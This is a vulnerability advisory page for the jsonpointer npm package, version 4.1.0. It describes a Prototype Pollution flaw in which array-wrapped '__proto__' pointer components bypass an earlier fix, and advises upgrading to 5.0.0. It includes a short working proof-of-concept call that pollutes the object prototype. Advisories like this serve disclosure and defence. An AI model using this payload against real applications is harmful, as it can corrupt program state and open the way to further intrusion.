jsonpointer@4.1.0 vulnerabilities

Simple JSON Addressing.

Direct Vulnerabilities

Known vulnerabilities in the jsonpointer package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

jsonpointer is a Simple JSON Addressing.

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of a previous Prototype Pollution fix when the pointer components are arrays.

PoC

const jsonpointer = require('jsonpointer');

// jsonpointer.set({}, ['__proto__', '__proto__', 'polluted'], 'yes');
// console.log(polluted); // ReferenceError: polluted is not defined

jsonpointer.set({}, [['__proto__'], ['__proto__'], 'polluted'], 'yes');
console.log(polluted); // yes

How to fix Prototype Pollution?

Upgrade jsonpointer to version 5.0.0 or higher.

<5.0.0